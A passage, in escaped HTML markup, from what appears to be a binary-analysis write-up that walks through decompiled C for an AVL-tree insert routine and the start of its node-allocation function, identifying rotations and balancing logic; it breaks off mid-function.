&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-c&quot; data-lang=&quot;c&quot;&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
&lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;insert&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;param_1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;param_2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;undefined4&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;param_3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;iVar1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;undefined4&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;uVar2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;undefined4&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;uVar3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  
  &lt;span class=&quot;n&quot;&gt;__x86&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;get_pc_thunk&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ax&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;param_1&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;param_1&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;newNode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;param_2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;param_3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;param_2&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;param_1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
      &lt;span class=&quot;n&quot;&gt;iVar1&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;insert&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;param_1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;param_2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;param_3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
      &lt;span class=&quot;n&quot;&gt;param_1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;iVar1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
      &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;param_2&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;=&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;param_1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;param_1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
      &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
      &lt;span class=&quot;n&quot;&gt;iVar1&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;insert&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;param_1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;param_2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;param_3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
      &lt;span class=&quot;n&quot;&gt;param_1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;iVar1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;uVar2&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;height&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;param_1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]);&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;uVar3&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;height&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;param_1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]);&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;iVar1&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;max&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;uVar3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;uVar2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;param_1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;iVar1&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;iVar1&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;getBalance&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;param_1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;iVar1&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;||&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;param_1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;param_2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
      &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;iVar1&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;param_1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;param_2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;param_1&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;leftRotate&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;param_1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
      &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
      &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;iVar1&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;||&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;param_2&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;=&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;param_1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]))&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
          &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;iVar1&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;param_2&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;param_1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]))&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
            &lt;span class=&quot;n&quot;&gt;iVar1&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;rightRotate&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;param_1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]);&lt;/span&gt;
            &lt;span class=&quot;n&quot;&gt;param_1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;iVar1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
            &lt;span class=&quot;n&quot;&gt;param_1&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;leftRotate&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;param_1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
          &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
          &lt;span class=&quot;n&quot;&gt;iVar1&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;leftRotate&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;param_1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]);&lt;/span&gt;
          &lt;span class=&quot;n&quot;&gt;param_1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;iVar1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
          &lt;span class=&quot;n&quot;&gt;param_1&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;rightRotate&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;param_1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
      &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
      &lt;span class=&quot;n&quot;&gt;param_1&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;rightRotate&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;param_1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;param_1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;We see the functions &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;newNode&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;getBalance&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;leftRotate&lt;/code&gt;, and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;rightRotate&lt;/code&gt; being used. From our foundational CS classes we know that rotations is a term used to describe the process of balancing binary trees, and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;newNode&lt;/code&gt; confirms this suspicion. Furthermore, the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;left&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;right&lt;/code&gt; we saw previously makes more sense in the context of trees.&lt;/p&gt;

&lt;p&gt;Let’s look at &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;newNode&lt;/code&gt;:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-c&quot; data-lang=&quot;c&quot;&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
&lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;n&quot;&gt;undefined4&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;newNode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;undefined4&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;param_1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;param_2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;kt&quot;&gt;size_t&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;__n&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;undefined4&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;puVar1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;in_GS_OFFSET&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;local_110&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;256&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;
  &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;local_10&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  
  &lt;span class=&quot;n&quot;&gt;local_10&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;in_GS_OFFSET&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x14&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;puVar1&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;undefined4&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;malloc&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x24&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;puVar1&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;param_1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;puVar1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;puVar1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;puVar1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;puVar1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;8&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x80487a6&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;param_2&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
